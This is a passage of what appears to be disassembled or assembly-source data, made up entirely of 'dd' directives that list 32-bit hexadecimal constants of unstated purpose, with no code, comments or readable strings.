623A21ACh, 98A92D53h, 2FDCBF5Bh, 0B57CCBB2h, 501D7352h dd 0AB0EECBCh, 0F4848C14h, 68F80099h, 9BA7037Eh, 0C7C84EB7h dd 78023E61h, 0CF485364h, 5B4B417Ah, 0F86A31CDh, 5A51134Eh dd 8D7A5739h, 0D0A42BD1h, 13DC9D60h, 0C2E55C49h, 37D5DE8Bh dd 8CA18592h, 0D314EC83h, 9F26FEA0h, 9BFC027Ch, 9988192h dd 2BC9DABDh, 0D331D228h, 129DE82Bh, 0D2F944E9h, 6F1760ECh dd 40AB9F29h, 72BFD53Ah, 354B825Ch, 8AB8E28Eh, 0F36EDC5Ah dd 0EE0FD209h, 43761189h, 41D58578h, 0DAAB3004h, 1E7E1A13h dd 28A0088h, 359F5E63h, 0D457BFABh, 0DF8101A3h, 0E51BE445h dd 0F8B73B5Bh, 8E3C9A92h, 3509004Dh, 14E03F5h, 0EF81FD75h dd 20E617ACh, 3E1784B4h, 0CBCC7BBAh, 13D8CB03h, 0CF509354h dd 8D011726h, 4C3B075h, 97104EB5h, 0B61DBF64h, 1EC0E6A0h dd 68857546h, 0A8380739h, 767135EDh, 81204465h, 0BE5B4B16h dd 0B104C57Fh, 0EB91BD01h, 80316F8Ch, 51026096h, 0E859C58Ah dd 0D43A200Dh, 0FA00B6A6h, 0ED3571D8h, 95795140h, 538757F1h dd 98E07A6Ah, 0E2506158h, 99964C5Bh, 24ECE7C0h, 0AA009B84h dd 2F23384Ah, 15824B5Dh, 0AC558659h, 473E0B94h, 0E314FE12h dd 0F2E24BACh, 933F8F00h, 0DBCC130h, 3D190A0h, 0B495558Ah dd 67908C41h, 0AA3F243Fh, 7B08EA4h, 5A5DCC62h, 219970BAh dd 59252B05h, 9CB4CEBDh, 0C800D42Ah, 0FDD03165h, 17F25D34h dd 1751FC80h, 6C64BB9Ah, 9D5978CCh, 0E4C9D9F6h, 1356B7F1h dd 5EB55D78h, 982BC5Fh, 57012BF9h, 73494AEDh, 0A1660098h dd 423D4B26h, 8D896404h, 0E3BF0CA5h, 51E50107h, 0FBAF7AA4h dd 0E027C92Eh, 2A072552h, 0A72330C5h, 29CCAEF0h, 82724BCEh dd 0CFF7F5D9h, 72F66096h, 0C62454BCh, 0B9604782h, 3E627Ah dd 0FA18B7DCh, 6316F3AAh, 891E8A09h, 820879C5h, 10559D01h dd 58769B1Ch, 25324BCEh, 57F841B3h, 0EC502B65h, 0EF624A73h dd 9D8954C3h, 2E2BB1BAh, 6EA9EAADh, 0F45BE60h, 8DDE9D8Bh dd 8A051BACh, 81FB53D4h, 2A2434B5h, 7C80289Bh, 5E52DD3Dh dd 8A0F805h, 86629267h, 6B315EF5h, 6A71A841h, 282E09A5h dd 0D39DAB33h, 9602D8F8h, 64B588BAh, 71E833h, 414788D7h dd 4B1D9ED8h, 4892595Ch, 3442C00Dh, 9F9A88h, 0AF3DE51h dd 0EFF72AFFh, 17B01739h, 0A704A48Bh, 0AF570FE9h, 0B89FEC0h dd 4C3B0091h, 4EF91C1Ah, 9D987853h, 0D8E0F26h, 4E614948h dd 0AC607747h, 27DA7D5Ch, 3609E645h, 0C90DC4DFh, 4F379670h dd 0AF0208ACh, 0E09DDF80h, 972B0DF6h, 25FC4694h, 62DD6AEBh dd 0F0900C6Eh, 0CEA95520h, 291D4861h, 175D8510h, 0AA9D3316h dd 0B6FB3684h, 8717A314h, 0D72A4008h, 0E1BD8BBBh, 80071FD2h dd 4D7F1333h, 708D9497h, 0ED2EE165h, 9965B861h, 0F7BA25h dd 0C1251358h, 63A0195Fh, 0DFCE2C02h, 5E46F3DAh, 1746D6BCh dd 7538DC00h, 0D8D3147h, 0B55EE695h, 71A537F1h, 0BACDE956h dd 7510EC42h, 6344A279h, 80F8C1EEh, 4FEB7CCBh, 0CC806FDBh dd 0D485A922h, 0E1A13B04h, 1A8298F0h, 0C993E4EDh, 0E577190Ch dd 59ED2B36h, 3BEBF0A1h, 170859B8h, 8012E990h, 0BD0C2D9Bh dd 0A1FA167Fh, 29672500h, 187D96C7h, 9DE800A0h, 0F2A8BB50h dd 90253EE7h, 0C2C1628Ah dd 8717592h, 0BF665F00h, 9761E729h, 2D8B63A2h, 4149CE0Ch dd 0D3E93E1Ah, 0FEB2F70Bh, 39B90FDDh, 2020BB47h, 5838F1FFh dd 90DA5E01h, 7DE6B752h, 4687277Dh, 2FE31486h, 99149ECFh dd 4939234h, 0BC1A5DBFh, 0A06BB42Ch, 8DD0CF2Fh, 96F66E95h dd 6D74D4F3h, 0ECDAD161h, 0F4DAFFCAh, 4E00DCE1h, 5D826738h dd 4B619509h, 2225CE2Ch, 2A037D32h, 51822041h, 0EC5C902h dd 1AB39000h, 0AD21F9B5h, 8240F0DEh, 24884514h, 964A9025h dd 66AB281Dh, 3D1FBB05h, 38AB5DE9h, 4929548h, 4D404297h dd 0D69FE001h, 8B2F192Dh, 5A48FBF8h, 1162718h, 0EC78F028h dd 0F290F92Dh, 95F5EAB3h, 55287Eh, 47AEF8ECh, 0E0FED817h dd 0EFFA2997h, 0EC5960BBh, 1600A136h, 3EDCF751h, 0AAA5B589h dd 25DEF4C9h, 0BF04F466h, 4252D2D6h, 5144C8EBh, 0F4992909h dd 63029803h, 623D00ABh, 0E2DD4D17h, 0F300E886h, 0DBF7666Ch dd 90EED7A7h, 6EFF5EBEh, 0A177059Ch, 83839C85h, 819D01ADh dd 437AC6E7h, 0E56B704Ah, 51647C97h, 78BF1041h, 4A9673D4h dd 0AB7ED4B0h, 9B015BE3h, 20F7F5C1h, 61A36A8Fh, 96F38100h dd 5F2B4414h, 85EA2297h, 130D3134h, 2EC9E931h, 0D704810Ch dd 4F24D1B1h, 5FABF61h, 0DF48E50Bh, 8966E462h, 9B07B990h dd 0E007C0F1h, 8A204CC0h, 59F80B5Dh, 63579D7Ch, 1321A981h dd 49243A09h, 89800EB2h, 77CB5102h, 0BD29D909h, 5E86CA4Dh dd 0D0F602F2h, 8A9AD18Bh, 27FE7857h, 61C45D12h, 8D832300h dd 9BC86A89h, 1CE0E0AEh, 0C0C60A68h, 5BAD7160h, 2FCD84E9h dd 893A2C89h, 18856A1Eh, 0B44A8EE8h, 0ADCFEFEh, 899D0109h dd 826577BAh, 7A2FA42Ch, 55E9285Eh, 0F9B5120Bh, 0B1F7B810h dd 622E099Dh, 79293AE4h, 8EBF07D5h, 0F06AF050h, 2F1668ABh dd 75BB0F88h, 96F6E8FFh, 2C61BE04h, 18958905h, 2D75E667h dd 4AC59D88h, 8409F219h, 0BF00A774h, 35D43D1Dh, 0AAE66A5Fh dd 55B5E7F0h, 24466B0h, 0F75A4AB3h, 44E93A07h, 5FA5AA23h dd 0EA1727E8h, 19117795h, 24B43B61h, 2ADD21BDh, 51D6EDACh dd 5275C07Dh, 62EF7085h, 47CCEE43h, 0BF5C958Dh, 0DE39E6E0h dd 0EFEE17ABh, 0C65F0144h, 20572F3Dh, 421CBE93h, 0BD2DBA5Fh dd 7201805Fh, 80E3D66Dh, 0C74AF325h, 259FA0E1h, 30750CCDh dd 4FB529FDh, 53F41E69h, 0EC81E988h, 0D4EB17C5h, 932AFEF1h dd 28E0C080h, 0FCF13513h, 0BAB832B1h, 2F0F6E4h, 20F65B4Ah dd 512FE7B5h, 0C3E07F95h, 9912595h, 0BF41A7C7h, 0D6689AD2h dd 0C82F2880h, 0A0007C26h, 2B5C64ACh, 0CDFB996h, 55BE4C9Fh dd 6D13626Eh, 960B5F11h, 7634DFF9h, 0CC730A0h, 0A448DA43h dd 1B9070C0h, 1A0015A0h, 8C28B3EBh, 0E653CEF8h, 8CC84BFFh dd 0C4B55189h, 0BAD49F74h, 4FC0011Fh, 342A6AA3h, 0ACB70E50h dd 812E072Dh, 0FF5B7B21h, 259E68E1h, 155AC730h, 3104B6C3h dd 0AA30258Dh, 176FDA9Dh, 613CBB04h, 603FC1BFh, 0EE8D29F5h dd 2E61D0E9h, 0D2735028h, 596FFB2Ch, 72DF7600h, 14288BEBh dd 7D6E604Bh, 0F96310Fh, 825A6FD4h, 0F70B14B6h, 0D98CB602h dd 113755h, 2A0A740Bh, 0B97F5D4h, 0C5BEED89h, 9CF2BBC5h dd 3D8AD14Ah, 0E87E7901h, 0C0760015h, 16F73B12h, 1A95845Fh dd 1C6EFDEAh, 77D0CF12h, 0AC4FADE3h, 70EE5AEBh, 0F3168357h dd 280A4200h, 78FCA7Dh, 6518BDD9h, 920E8BA5h, 4069A1B3h dd 0FCDB5EC7h, 4CD91C76h, 0D6F42F30h, 0F427251Ch, 3C03FCD0h dd 0C21CD538h, 5FAAAA9Bh, 67D5D78Bh, 0C42D78h, 0C9F1C200h dd 0EB59D17Eh, 4BBF0350h, 8B56FB3Fh, 1E126948h, 512C476Bh dd 73CBE85h, 5E150D8Ch, 0B5AC22h, 36200853h, 4A07787Dh dd 6534BE68h, 765E1800h, 32EB3Bh, 4F99D278h, 529DACC7h dd 0E0DB585Eh, 182C7580h, 8E4E5C59h, 0E94E57ADh, 159D8585h dd 0EC1156FFh, 0A3A75A4Dh, 40818550h, 524BE930h, 0C331DC89h dd 0C85F9B6Ah, 5BF1C116h, 7B343F38h, 70B8A813h, 1089B50Bh dd 4F9C945Dh, 753C260h, 0D4B531F5h, 1DCDE7E0h, 4211415Eh dd 619E0F02h, 7FA5D05Ch, 43E138EDh, 9441B54Eh, 0E77E0331h dd 5A85879h, 32C14E37h, 0D10C9AEFh, 60EAD7DDh, 5FD9FB4Dh dd 0D7915597h, 0A646FE89h, 0B45A6F01h, 17C33E53h, 3D02072Eh dd 0E248A3B9h, 1EA99D4h, 8409C9EEh, 2904460Dh, 1728FDABh dd 34A95296h, 0FD98A01h, 0F8EEBB31h, 30B635C2h, 0BD666625h dd 6895688Ch, 0CF5B2B02h, 5CD88B8Dh, 0A8D40247h, 405C724Fh dd 5CE9B3C2h, 0CB81002Ch, 7CA1A7Ah, 64DFEDBFh, 0A9136018h dd 4A9D0B54h, 18DDD98Bh, 28D24E1h, 0CB7A8894h, 0A61CD466h dd 0D3B81FDDh, 6265C073h, 860E5B6Fh, 9B1E8C14h, 3A955EC2h dd 90B7E2EAh, 0A4093E21h, 1D4413F1h, 0BBF98B45h, 5EBB51A6h dd 72EE98h, 0D6F8C4BAh, 0E33DB2C0h, 0C34EC29Ch, 0C4433302h dd 885930ABh, 2A014F46h, 192F5F27h, 0D5D61B10h, 0BF9800E6h dd 69239495h, 0D409B77h, 6D7667CEh, 0B780A699h, 49A11354h dd 0AA61017Dh, 0EE1F0848h, 0F02C30DBh, 0DF96EEF5h, 7ABA4C5Bh dd 13F92F5Eh, 3FF180D8h, 2CB90105h, 4F49135Ch, 6DA66BFCh dd 0C3EA704Fh, 0D3B57774h, 8353A7F9h, 1E4D450h, 27B318B6h dd 2053714Eh, 0A7BD61D3h, 7739B589h, 0CF40404Fh, 0B0A6E1BFh dd 0B503E4A5h, 34983C6Eh, 0C0BE9648h, 262F46E8h, 8FB70779h dd 4A0F502Ah, 0F2964594h, 0AD140191h, 58619B11h, 28F4F4E9h dd 15A90AD2h, 0EB9EA1D9h, 0F54BC244h, 0C03F158Dh, 5F80347Dh dd 8BB776A4h, 0C20554A3h, 0EF75C486h, 9BBF60C4h, 90015507h dd 8603ED36h, 0F36C576Fh, 5B927909h, 1B59B05Bh, 98074718h dd 318269Ch, 20CAD81Bh, 8A5E19D1h, 0E9D116AEh, 20501685h dd 8EC8DBFBh, 57BB6902h, 82E0236Fh, 27855072h, 0BF7029C5h dd 52A03895h, 8A815E0Fh, 8F13044Eh, 0BCAAE1B6h, 0D62F81CAh dd 0F1F6BF3Dh, 0FD011485h, 0B7850AD5h, 3BD2B3FAh, 627D2531h dd 5BD05D24h, 0C466CD9Fh, 5409EF0Bh, 4845F72Dh, 0AC70ED59h dd 0E91F5F55h, 0D6E8020h, 116F695h, 2DB08D08h, 7FC04603h dd 1AC8A7DAh, 34B1CC1h, 4E4EA83Bh, 0A6A8B9C4h, 242B4CA2h dd 2AAEE801h, 37BC4EAEh, 0A55D5BCBh, 0E3BBD933h, 64B9F54Bh dd 38074880h, 0F70A33F6h, 0C0272BBBh, 0BF2CBD23h, 806EC063h dd 5ECA40A0h, 908CE994h, 0AD310061h, 64CB702Ch, 99BC024Dh dd 8F862381h, 9A5A940h, 31F56595h, 2A14511Ah, 0F92FBECAh dd 0DF4B83FBh, 0A585CFB0h, 0BE570340h, 4A341026h, 0D3FBA3A5h dd 8FEECCA1h, 0BD231E12h, 253CFAADh, 6D5DF4B4h, 465FE9F4h dd 0FB8B39D4h, 185DC125h, 0DF8156h, 5640E619h, 7F09BF90h dd 395E079h, 0DD0C944Dh, 3DB899BDh, 69AAD800h, 0E55712A4h dd 605C28D7h, 309EBEA6h, 4270897Ah, 379F2E78h, 0C98580C0h dd 727453CAh, 0A9AEA213h, 544596F1h, 1458ABEh, 0BB9436F9h dd 0C60C996h, 4196B265h, 458C001Eh, 6D95173Ch, 7EAEE0FBh dd 0CE258868h, 0FC0262A3h, 0C900DC3Dh, 136E255Eh, 3EC767E3h dd 785CA1F4h, 1BEF4BC0h, 0AC5CF721h, 5BCC0385h, 0A54F7875h dd 5CF88880h, 413F9029h, 0B1822B20h, 22E5F787h, 0C6092300h dd 50D1492Dh, 9FAD0F2h, 0E6F3B866h, 9DE0FA75h, 2703AF37h dd 46F97651h, 34F0843Eh, 0CE7685EBh, 2386FF05h, 0B3FB0F9Dh dd 0AD3E3CC7h, 52B0D4FAh, 14CC31FFh, 3FBC8B10h, 0E3092600h dd 9C4DC455h, 0C23200C5h dd 0E85B8161h, 674AEB8Eh, 1F4C82CDh, 3CF00005h, 1DF76863h dd 0FF09846Ah, 61D98AD1h, 382B2014h, 3DB59C50h, 7D3D8031h dd 0FC786CCDh, 4D88FD07h, 1E249D89h, 8DB3FEh, 44CCDB8Eh dd 2FA91E8h, 417B8CF9h, 0D3DD6684h, 71DC7814h, 82F7113Dh dd 0D4F48C64h, 0DB0D6890h, 2F80EC31h, 0FAFB37C7h, 0CE181C59h dd 174EF500h, 9BEB6209h, 8D890CA3h, 9FE51061h, 20BA9C95h dd 2EDD3C4Fh, 0CDEA12D7h, 0DA247BE7h, 57C681D0h, 9561725Fh dd 0B6B7AE98h, 0EFBB9001h, 501060BFh, 723ED3DEh, 1D9DD95Dh dd 0FB82ADA3h, 0D3D525A4h, 261B590Bh, 0D3820004h, 55113F9Dh dd 0C2165F7Ah, 45F715F0h, 253C2626h, 0F1AF44F4h, 450754B8h dd 82862C5Bh, 0E7F129h, 467D8C7Bh, 4C00F82Ah, 0E82B4E01h dd 2569E27Eh, 0B7D7FF6Ah, 235602C0h, 0CCC1C42Dh, 0FEF96EDDh dd 0B2303D12h, 0A752889Eh, 0C4428E11h, 0AD016283h, 0FE1D63DFh dd 3E85C193h, 0AB24574Bh, 42790AA0h, 71E4161Bh, 7F84471Ch dd 99AD6DEBh, 80C42322h, 99AC11F9h, 898FD39Fh, 9B56FA59h dd 0B02FBC4h, 745D5D9Dh, 0F5484C8Dh, 77B32E4Ah, 25296B79h dd 0FD57B940h, 51C82B07h, 0BDF06DBBh, 588B5B5Fh, 0B91A55D1h dd 0D85DFB22h, 0FAF69D4Ah, 564C94C2h, 47550662h, 0D1256249h dd 255A592Ah, 126D2CFCh, 0E2EB98C2h, 0E14B03AAh, 0C78DA9FAh dd 44985FA0h, 69DA3425h, 81102E77h, 88014AE7h, 95016E80h dd 9D901ADDh, 9417C887h, 3AC5D260h, 0B9AF80C5h, 20E2A90h dd 0E0C9B2F4h, 3ED73758h, 786C9561h, 8419D71h, 0FD41047Bh dd 0A664BB0Dh, 9395C0BEh, 5E003A6Ah, 550960D0h, 2D965822h dd 39C47678h, 36E26D14h, 99750082h, 0BDEFDD68h, 615E255Ah dd 2653C364h, 0B74B78EEh, 31CB3EF9h, 4B9B92FFh, 0B8ACCCFEh dd 3869BD91h, 20424CD7h, 4697B897h, 0E5A29709h, 7B7D17BDh dd 59502DE6h, 0F78119C0h, 1816A4BAh, 0FD6CB923h, 1FE4B501h dd 5298D3BDh, 0C9CF7CDEh, 0BD0584F8h, 0FC4344AAh, 188AEAB8h dd 52C7F500h, 0BA6D94D0h, 885310A1h, 1212D1C2h, 0C559B65Fh dd 60EF1B89h, 0F396934h, 2F0BCF00h, 19834F15h, 0B249130Ch dd 0CDCFEB4Ch, 61301BCBh, 0D302C5DFh, 0EA5EF4CEh, 33924016h dd 69D59CB9h, 0F169A504h, 432A2A98h, 8CCD1D82h, 0F59F1AF5h dd 0DB58C859h, 0C8565A9Bh, 47A2EFAh, 8988323Fh, 24A5F5Ch dd 0F140107h, 0B2EBA812h, 0F6BE743Bh, 2F00B00h, 4E799FF2h dd 10948D3h, 413CF0D0h, 152B7DAh, 0EF25BB66h, 282BE1FFh dd 4413B2Bh, 1E05FC01h, 431F382Bh, 0D810FBB7h, 75053E2Dh dd 9E79CF6Dh, 9D8D4681h, 278BCF7Fh, 0E2BDD7D7h, 39FC123Fh dd 0E7B12204h, 602F47ECh, 16C2A689h, 0DE251D54h, 0E12FDC57h dd 10057E16h, 5F892F18h, 0A252A224h, 0EF5A44h, 4E443AC4h dd 5F4A8FF0h, 0FEA935C5h, 0DD4C63B8h, 1BBB0275h, 5678342Fh dd 0AF299637h, 3700B07Bh, 10139558h, 924E4635h, 0F62E1EF1h dd 0FE5A794Eh, 0F53161AFh, 0C0473C90h, 0D692D4B6h, 0CF09007Ah dd 9801EE65h, 0F215F46h, 5012BC82h, 0C16EC856h, 7E25EE00h dd 5B8CC815h, 8D310990h, 997A17F5h, 0D894A95Ah, 5B856FABh dd 0FCB241AAh, 0CC87A768h, 52635047h, 0A2310FEFh, 0DE60D5DEh dd 84E82434h, 57477727h, 76819FBFh, 0D98B08CFh, 8CE1342Ah dd 0EB06DEACh, 912C5C17h, 0AAE3015Eh, 1D5429C2h, 271C61E9h dd 0C4B8B0ACh, 31A40506h, 0BB336241h, 99208F1Ch, 5A6380B7h dd 27CEC440h, 4182A301h, 5BF8574Dh, 0A520BD6Ah, 0BAA482B6h dd 1B0293E2h, 0FB8B91B7h, 8909EB74h, 2B4677A6h, 0DD25D7BEh dd 64801237h, 0EEFEDE02h, 5CCB089h, 778EACD3h, 0A7DAEB21h dd 7E8160D7h, 2217D51Eh, 2713F8D8h, 125FB7B9h, 0B80BFDDEh dd 0BE7E298h, 0DA654353h, 840463F7h, 0AF4E1E13h, 15D164FBh dd 0C5F2818h, 4568ACC0h, 2530788Ah, 5121810Fh, 7FFEB750h dd 89BA67D0h, 6B0C562Fh, 0B53B88B0h, 7005BEECh, 9529DC6Dh dd 8D8849EFh, 0CB296FD7h, 15841F6h, 2C292D85h, 1745F274h dd 78FBA222h, 0F6B75A95h, 0E3810003h, 1FB8A336h, 78D09B61h dd 52B80135h, 0BFBEE897h, 86ED1261h, 4DDEAB32h, 25BF692h dd 0BFA4B4B5h, 519454ACh, 3D5DC23Dh, 0E43D0129h, 0C0BB1579h dd 8582DAAh, 3A0CC065h, 9ABE2E0h, 8BED8EF2h, 23B127Fh dd 5F1F9DE8h, 0B6743BC7h, 666D2585h, 7AC70DC0h, 51132560h dd 5E57B712h, 0FC5B4578h, 0C50480C2h, 953AABEAh, 0E9459694h dd 95B39C2Ah, 0FEC8294Fh, 96E7BF15h, 0DF3ECA1Ah, 7772B0DBh dd 8B5A82ECh, 30B1AF2h, 98F68D9Dh, 4B0F5652h, 251AEE57h dd 906688C8h, 6BFB919Fh, 262A64E0h, 9934A6Eh, 0A540511h dd 17C38150h, 0EA0E6CDFh, 6A7BBBDDh, 0BB9C0064h, 76F6B5DEh dd 732A0063h, 7FF78140h, 725E95CAh, 0DD5292ECh, 80EEE95Eh dd 0F66CA3F9h, 421D009Fh, 0BA665904h, 28BF93C9h, 0DE2FCBAEh dd 3F55AF01h, 0CCCABE16h, 8F4F0F92h, 8ACB0DA8h, 4E2568D1h dd 79F8469Ah, 56CABF12h, 9756DAABh, 2B54698h, 0F6F9B438h dd 11C2FDC2h, 4D2547DCh, 60176499h, 4E26539Ch, 0D131AE45h dd 6E7E04C2h, 0B2855A8Dh, 930121FFh, 936B2BC1h, 0A5001A23h dd 967F3D16h, 1C3F4865h, 0B52C5909h, 0C2D5D1E1h, 0BB3B1655h dd 991A50BAh, 2B218700h, 813DDBA5h, 0F7A40BCFh, 0E4DD1F0Eh dd 9B6A4B81h, 0B7BCC083h, 0E253F8h, 579691ECh, 1319BB49h dd 0EC1C3D2Fh, 0D98D1220h, 0B451A82Bh, 0EB6ABEh, 6C5D56ECh dd 4507F28h, 8BEBB660h, 0BDA18CF3h, 1413D15Ah, 0C0D29FEEh dd 0BF058C43h, 0CC0D17AFh, 686BAF39h, 580C604Eh, 3180E0D6h dd 0A147B52Dh, 57274F11h, 8A20465Ch, 0E4799D24h, 2A345093h dd 8B7477FFh, 5FC4B9FFh, 0B007F76Ah, 763E3Ch, 0FA21D4DBh dd 0ADBD89E9h, 2AAF194Bh, 8426CAAAh, 5522990Bh, 5B25C4C5h dd 0D6E8534Bh, 23B2054h, 47B39442h, 48BF8052h, 955DA3B2h dd 897DEB9Ah, 4FEC51D0h, 9D0904F1h, 2B281A39h, 0C69E91B7h dd 31FBF05h, 0FEFC5CADh, 881A3097h, 18FA5A8Bh, 4FE951F0h dd 0FAB9F45Ah, 97200510h, 0A080E8A8h, 3E312BBDh, 0B6461113h dd 5B804FA0h, 0E4CD1D8h, 0BBEAE9F0h, 2C964C31h, 508A314h dd 0F3FF3C04h, 248F7A30h, 2F3D1749h, 38F36132h, 58CB102Fh dd 1AC2662Bh, 7EC2A8F0h, 5D5A4D38h, 0BD48E0F6h, 33C5000h dd 0EC3A81D0h, 8419C945h, 2D70A9DAh, 0E90A1062h, 8299F4D9h dd 958589C8h, 4003F348h, 414F3C6Bh, 8A491DBEh, 2012D6E7h dd 5360DDDh, 2F1C5BF8h, 0A905030Ch, 0ED50C921h, 3D128808h dd 0F264172Ch, 0F09F70D9h, 0D6C4B533h, 208B5126h, 0A9811002h dd 0B5148CB0h, 0C0331259h, 142F16C3h, 24C8F169h, 0AC445FA5h dd 0D2684702h, 3CD49AA7h, 8D06A70h, 0B9093182h, 0C83AD38Bh dd 0A3005D28h, 2772E3B0h, 1CD8B817h, 8146BE1Fh, 60F24D78h dd 5955CA58h, 0EAF89670h, 203A228Dh, 0C08161B5h, 0DB679329h dd 0B468FB03h, 1BF38519h, 6267580Fh, 95C7FE00h, 8005A1F8h dd 0A5BA5D6Ch, 0D903DDECh, 30FF2151h, 9AE10E07h, 0F2C15ACAh dd 6DC4CB45h, 34A90F8h, 4A1CD139h, 0C2F8EB8Ah, 0FA307733h dd 64C5423Bh, 521301A7h, 431B966h, 9FF13A8Fh, 0C9A8AD45h dd 8759017h, 0F8840170h, 0A4824861h, 1941414Bh, 0AB6F306Eh dd 2960E9F5h, 70CCA715h, 77DA002Bh, 0EDF8014Eh, 0ACF4F745h dd 92B59439h, 45409BE9h dd 0D7AF8643h, 0A48700A6h, 9365F220h, 600F4F6h, 437F9054h dd 32CD6F1h, 0AB583468h, 91D0E3FAh, 0CA7C63E9h, 5D7A081Fh dd 1D07471Eh, 20CDED89h, 508C05D4h, 196FD37Fh, 83F6895h dd 4821A6F6h, 39188C00h, 0E4530EEh, 2FD636A2h, 94CEB820h dd 49194DECh, 0F305F35h, 96ABD341h, 0B10078BCh, 2826BCB4h dd 4F195F45h, 0BF08AD10h, 0F854219Fh, 0C6514880h, 29703C7Dh dd 0B95D9B30h, 361A8E6h, 0D64DE18Ah, 41F8AD8Bh, 0A200EC9Dh dd 0F4983F60h, 0F2EFE65h, 2579FFA4h, 0F998678Eh, 4C30CE52h dd 63EAA085h, 0E3E8A18Ah, 0E2E9D980h, 6F1AE78Ch, 6DA22614h dd 0FEFA041Ch, 9203836Ch, 0BCE213h, 0C1674315h, 0C029DD7Fh dd 0FAB6D625h, 0ED19B51Fh, 45080FE2h, 1D3D2181h, 0E49B61D6h dd 870617BEh, 5273929Ch, 0A0F47789h, 30DE6098h, 2E70F7ECh dd 0BF749429h, 0F5146F1Dh, 852FC140h, 155EFEDh, 0A86E1CC3h dd 0F0FCABA9h, 3000B6AAh, 1D1342F3h, 1AFA3F7h, 47EBA111h dd 6F5764D9h, 3FF174B0h, 7784ABh, 387E03ECh, 7CE78A25h dd 738BE200h, 1D5BB9A1h, 0DD4B01E0h, 0B29E3987h, 0E4D96116h dd 8D389011h, 1E0300C3h, 23949BC7h, 0BC60CD2h, 0E710C2F2h dd 968E1500h, 6E56CE55h, 89CD3CFCh, 0CB149F00h, 6A0A76DDh dd 27E8A19h, 21809B08h, 16CB1DB0h, 0E00045A0h, 0CD401C4h dd 364330E6h, 287899D1h, 80CDFF0Fh, 9828A00Bh, 30B2F894h dd 292082D9h, 0E5007EF4h, 0F55E505Fh, 19B4715h, 0FFE887DFh dd 8B91A613h, 80B68940h, 630F2CC3h, 178A1922h, 8E9808B3h dd 6F41D421h, 4E68807Dh, 3CDB2060h, 2808E67h, 0F1A0919Bh dd 6948CE40h, 75B0F23h, 0C0CFC0EEh, 779E860h, 0FFEB6216h dd 0E17B30E5h, 3A008086h, 90CA1E7Ch, 1DD6E836h, 0BD850A8h dd 1880D418h, 727EDA5Ch, 3EBD300h, 5367AA82h, 0A5580075h dd 3163F850h, 97007D3Fh, 95FE4028h, 9FF77Ch, 334E72Bh dd 0B1F40201h, 2C9A7E00h, 6A359252h, 0CA091CD5h, 0EE8408Fh dd 4E228DAEh, 0FB69AD03h, 982FF7ACh, 3EE33Bh, 6F8C7204h dd 974E36F1h, 0C77E241Eh, 0AED6E2C7h, 997C83h, 46E5AA10h dd 1D6C6170h, 136FD700h, 807EBFD2h, 9B1A002Bh, 0E1C96D89h dd 197AE5D6h, 831D9607h, 843EDABh, 0DB28815h, 19D7ECDh dd 54B3A5Dh, 0C7C4D399h, 0A1962002h, 9E43A775h, 0C95C2320h dd 2861630Ch, 0E4C7071Ah, 1085A258h, 0C5E80480h, 0A90F6B75h dd 0A0BC7EB8h, 1B9FAE9Dh, 8F70A079h, 0BEA01D1Ah, 96170030h dd 48EA333Dh, 0ACEAE03h, 30C6B692h, 76213E08h, 3800E9CBh dd 269B73B8h, 3E2E430h, 6606D5CEh, 28A63912h, 0E8972E0Ah dd 0A6429C8Bh, 0AB0D2103h, 17B08F2Fh, 0F370338h, 76110093h dd 19BC5972h, 2B192689h, 9C087111h, 7A2D2180h, 48882459h dd 39356335h, 620A8F1Fh, 7780842Ah, 0E83FF045h, 6510C3Ah dd 73085290h, 5D5421C0h, 0FC6AF0h, 0A7676B14h, 0DCD48344h dd 1A00917Eh, 0B3E49711h, 1486EDECh, 946C7BE8h, 8438BE23h dd 0DEAE46EAh, 7420C462h, 94EA35h, 36E157DFh, 0ABD60D7Dh dd 338F2E0Ah, 0B0038C9Dh, 0E155Ch, 89621D30h, 61D337F1h dd 5B4713Ah, 32988374h, 0D1C0BD84h, 0B5E9BEh, 7E2994D7h dd 0B196D687h, 8141A460h, 3A65111Fh, 1805B535h, 4361940Dh dd 73B0979Ch, 7B632915h, 800F3D84h, 34D43350h, 5585F3Ch dd 855016Bh, 5EA2C329h, 899786F9h, 8706A550h, 0B0952C83h dd 5866BC4Eh, 188B9661h, 0E80A5E9Bh, 19C64A94h, 212BBEh dd 25C236ACh, 0FD40BB24h, 8086224h, 9E9A7801h, 38911590h dd 0E2160C56h, 0F004790Bh, 872C18FBh, 0BEB7B947h, 21592F60h dd 0E924ADh, 0A396C79h, 970E9315h, 4A7549C0h, 647ED1h dd 0BDB5405Fh, 82AD7A9Bh, 6186D63Ch, 90196352h, 807030B0h dd 0E4788897h, 2C101B14h, 1A723FCh, 0AE49EA32h, 883818C6h dd 0E900CA5Dh, 5289086Bh, 18BF8762h, 2122B910h, 0E8018539h dd 0A888FD98h, 3080BDE6h, 0AB8F62D0h, 7714A7C1h, 18F8AA15h dd 79C99408h, 9BC900B6h, 7E35B136h, 0F37ECFBEh, 4258224h dd 113D42h, 154116E0h, 3AF81954h, 7ED3B800h, 3172A283h dd 86A6A9Bh, 0A7DB4008h, 7803C1D3h, 0CD56133Eh, 246D9EFh dd 12B6D040h, 376503B5h, 0ABED6618h, 0A18CC940h, 8EAEA8Ch dd 0B36AE4Bh, 77403A64h, 0F94BE9C8h, 0EC9A942Ah, 0D07C58C7h dd 18541237h, 1F3F233Eh, 4A80C321h, 0FC98670h, 559C509Ah dd 0A025C42h, 3827B89Dh, 0D66CC1C1h, 41802EDDh, 2F724784h dd 3F07835Fh, 830C835h, 80609F68h, 0A678484Ah, 20001355h dd 0EB01D83Fh, 12E66D5Ch, 1625D540h, 0B6C2001Ch, 16E4AA97h dd 5C46C4A4h, 73D3BD02h, 75319A83h, 0D3A4C410h, 0A60E8400h dd 16918B86h, 0D29D09C1h, 8004BE10h, 0EBB5415Fh, 90233879h dd 4F45D620h, 13FB1BF0h, 2291ED63h, 49300690h, 0E83311F0h dd 8065885Ah, 0F2F04150h, 2C1268DFh, 88233F95h, 1C9DC124h dd 584B5120h, 0E8644481h, 0D3B6605Fh, 9283237Ch, 0C5287411h dd 7DCC0084h, 81EDA726h, 0C05899E3h, 0DD587770h, 12A92210h dd 8626516h, 0A464C83Ch, 44EA3F60h, 0AEEAE10h, 0EA376AB0h dd 820D40E0h, 6833CDFBh, 94CF020h, 7D22E548h, 8B47408h dd 9B11232Bh, 78E82C4Ch, 0B22D008Ch, 0EA9D69D4h, 1631531h dd 882837F9h, 0ED0BFC7h, 14C9994Eh, 0C4FF4865h, 0B908C095h dd 4218DE0Ch, 6D90315Ah, 2CB89843h, 0F67491C8h, 0A0B55B00h dd 9139D98h, 0E1D2067Dh, 0F970FA15h, 